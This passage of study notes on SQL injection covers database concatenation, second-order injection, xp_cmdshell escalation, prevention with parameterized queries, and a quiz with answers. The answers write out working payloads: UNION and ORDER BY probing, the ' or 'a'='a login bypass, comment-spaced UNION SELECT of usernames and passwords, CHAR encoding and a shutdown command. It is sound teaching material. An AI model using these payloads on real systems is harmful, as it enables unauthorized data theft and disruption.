          • MS-SQL: ‘serv’+‘ices’ ( send '+'London as a String parameter and the result is same)
          • MySQL: ‘serv’ ‘ices’ (note the space)
          Second-Order SQL Injection<TODO>
          Many applications handle data safely when it is first inserted into the database. Once data is stored in the database, it may later be processed in unsafe ways, either by the application itself or by other back-end processes. 

          Advanced Exploitation<TODO>

          attacker could turn off an MS-SQL database with the shutdown command:

          ' shutdown --


          Beyond SQL Injection: Escalating the Database Attack


          MS-SQL
          Perhaps the most notorious piece of database functionality that an attacker can misuse is the xp_cmdshell stored procedure, which is built into MS-SQL by default. This stored procedure allows users with DBA permissions to execute operating system commands in the same way as the cmd.exe command prompt. For example:master..xp_cmdshell 'ipconfig > foo.txt'
          The opportunity for an attacker to misuse this functionality is huge. He can perform arbitrary commands, pipe the results to local files, and read them back. He can open out-of-band network connections back to himself and create a backdoor command and communications channel. Because MS-SQL runs by default as Localsystem, the attacker typically can fully compromise the underlying operating system, performing arbitrary actions. MS-SQL contains a wealth of other extended stored procedures, such as xp_regread and xp_regwrite, that can be used to perform powerful actions within the registry of the Windows operating system.

          <TODO>


          Preventing SQL Injection

          Despite the complex and dangerous attacks that can be mounted by SQL injection, it is in general one of the easier vulnerabilities to prevent. 

          But merely, escaping single quotation marks by doubling them will not prevent SQL Injection. It fails in the below two situations:
          • If numeric user-supplied data is being embedded into SQL queries, this is not usually encapsulated within single quotation marks. Hence, an attacker can break out of the data context and begin entering arbitrary SQL without the need to supply a single quotation mark.
          • In second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that were doubled initially return to their original form when the data is reused.
          Escaping Dynamic Queries
          • One can use escaping routines for specific database:
            • ESAPI.encoder().encodeForSQL( new OracleCodec(), queryparam );
          • encodeForSQL
            • Encode input for use in a SQL query, according to the selected codec (appropriate codecs include the MySQLCodec and OracleCodec). This method is not recommended. The use of the PreparedStatement interface is the preferred approach. However, if for some reason this is impossible, then this method is provided as a weaker alternative. The best approach is to make sure any single-quotes are double-quoted. Another possible approach is to use the {escape} syntax described in the JDBC specification in section 1.5.6. However, this syntax does not work with all drivers, and requires modification of all queries.

          While stored procedure can have security and performance benefits, it doesn't prevent SQL Injection in all cases. Consider:
          • A SP invoked in an unsafe way using user-supplied input.
            • exec sp_createUser 'johm', 'pwd'
            • This statement may be just as vulnerable as a simple INSERT statement. For example, an attacker may supply the following password:
            • abc'; exec some_malicious --
            • which causes the application to perform the batch query
          How about parameterized Queries?
          In the case of Parameterized Queries, the query structure has already been defined, the relevant API handles any type of placeholder data in a safe manner, so it is always interpreted as data rather than part of the statement's structure.

          A few things to keep in mind though:
          • Be consistent and use PQs all throughout the application.
          • Don't use any parameter concatenation to construct a PQ. 
          • (Rare but possible). Some applications accept parameters for table and column names. Ensure white list validation is done, along with length and whitespace restrictions and also allowing only alphanumeric characters.
          • Parameter placeholders cannot be used for any other parts of the query, such as the ASC or DESC keywords that appear within an ORDER BY clause, or any other SQL keyword, since these form part of the query structure. 
          Defense in Depth
          • lowest possible level of privileges when accessing the database. An application can even use multiple accounts i.e. one for read only and one for read write. This mitigates risks that a sql injection flaws.
          • Unnecessary database functions should be removed/disabled. A skilled and determined attacker may be able to recreate some required functions but this is not usually straightforward,
          • All vendor-issued security patches should be applied in a timely way (They should be tested first).


          TIPS
          • Use SET DEFINE OFF or SET SCAN OFF to ensure that automatic character replacement is turned off. 
            • If this character replacement is turned on, the & character will be treated like a SQLPlus variable prefix that could allow an attacker to retrieve private data.
            • But It will also disable variables (  & is used for variables as well). Best option is to:
            • You need SET DEFINE ON to make variables work
            • And SET ESCAPE ON to escape uses of &.

          Questions/Answers
          1.You are trying to exploit a SQL injection flaw by performing a UNION attack to retrieve data. You do not know how many columns the original query returns. How can you find this out?
          2.You have located a SQL injection vulnerability in a string parameter. You believe the database is either MS-SQL or Oracle, but you can't retrieve any data or an error message to confirm which database is running. How can you find this out?
          3.You have submitted a single quotation mark at numerous locations throughout the application. From the resulting error messages you have diagnosed several potential SQL injection flaws. Which one of the following would be the safest location to test whether more crafted input has an effect on the application's processing?

          Registering a new user

          Updating your personal details

          Unsubscribing from the service
          4.You have found a SQL injection vulnerability in a login function, and you try to use the input ‘ or 1=1— to bypass the login. Your attack fails, and the resulting error message indicates that the -- characters are being stripped by the application's input filters. How could you circumvent this problem?

          5.You have found a SQL injection vulnerability but have been unable to carry out any useful attacks, because the application rejects any input containing whitespace. How can you work around this restriction?
          6.The application is doubling up all single quotation marks within user input before these are incorporated into SQL queries. You have found a SQL injection vulnerability in a numeric field, but you need to use a string value in one of your attack payloads. How can you place a string in your query without using any quotation marks?
          7.In some rare situations, applications construct dynamic SQL queries from user-supplied input in a way that cannot be made safe using parameterized queries. When does this occur?
          8.You have escalated privileges within an application such that you now have full administrative access. You discover a SQL injection vulnerability within a user administration function. How can you leverage this vulnerability to further advance your attack?
          9.You are attacking an application that holds no sensitive data and contains no authentication or access control mechanisms. In this situation, how should you rank the significance of the following vulnerabilities?

          SQL injection

          XPath injection

          OS command injection
          You are probing an application function that enables you to search personnel details. You suspect that the function is accessing either a database or an Active Directory back end. How could you try to determine which of these is the case?

          ======================================================================================
          1.You can determine the number of columns in two easy ways. First, you can SELECT the type-neutral value NULL from each column, increasing the number of columns until the application returns data, indicating that the correct number of columns were specified, for example:

          ' UNION SELECT NULL--

          ' UNION SELECT NULL, NULL--

          ' UNION SELECT NULL, NULL, NULL--

          Note that on Oracle you will need to add FROM DUAL after the final NULL in each case.

          Second, you can inject ORDER BY clauses and increment the specified column until an error occurs, indicating that an invalid column was requested:

          ' ORDER BY 1--

          ' ORDER BY 2--

          ' ORDER BY 3-- 

          2.An easy way to confirm the database type is to use database-specific string concatenation syntax to construct some benign input within the query you control. For example, if the original value of the parameter is London you can submit the following items in turn:

          '||'London

          '+'London

          If the first results in the same behavior as the original, the database is probably Oracle. If the second results in the same behavior, the database is probably MS-SQL. 

          3.While it may seem counterintuitive, the user registration function is probably the safest. Registration functions normally use INSERT statements, which are unlikely to affect other records if you modify them. A function to update personal records is probably using conditional UPDATE statements. If you inject a payload like ' or 1=1-- you may cause all records in the table to be modified. Similarly, the function to unsubscribe is probably using conditional DELETE statements, and could impact on other users if you are not careful.

          That said, it is impossible to be completely certain in advance which statements are being carried out by any kind of functionality, and you should advise the application owner of the risks before you perform the test. 

          4.An easy way to achieve the same effect without using comment characters is with the input ' or 'a'='a. 
          5.You can SQL comment characters to separate keywords and other items in your injected payloads, for example:

          '/**/UNION/**/SELECT/**/username,password/**/FROM/**/users-- 

          6.You can use the CHAR command to return a string value from a numeric ASCII character code. For example, on Oracle the string FOO can be represented as:

          CHAR(70)||CHAR(79)||CHAR(79) 

          7.This situation arises where user-supplied input is being placed into other elements of a query, such as table and column names, rather than the query’s parameters. A parameterized query cannot be precompiled with placeholders for these items, so a different solution needs to be used, probably based on very stringent input validation. 

          8.Because you already have administrative access, it is likely that you can retrieve any data you desire using the application itself, meaning that a SQL injection attack to retrieve the application’s own data may be redundant. However, you can still leverage the attack to access any data relating to other applications that is held within the same database, or to escalate privileges within the database or the underlying operating system, to compromise the database server and extend your attack into the wider internal network. 

          9.XPath injection can only be used to retrieve data from the targeted XML file. Hence, if the application contains no sensitive data this is likely to be a low impact issue. Similarly, SQL injection flaws may not enable you to extract any sensitive data from the database. However, they can sometimes be leveraged to escalate privileges within the database and develop your attack in other ways. Depending on the situation, SQL injection may be a more significant vulnerability. OS command injection, on the other hand, is almost always a high impact vulnerability, because it usually enables you to directly compromise the underlying server and use it as the launch point for further attacks against internal systems. 

          10.If the function is accessing a database, then submitting the SQL wildcard % as the search query is likely to return a large number of records. Similarly, if the function is accessing an Active Directory, then submitting the wildcard * is likely to return a large number of records. Neither wildcard should have the same effect on the other system.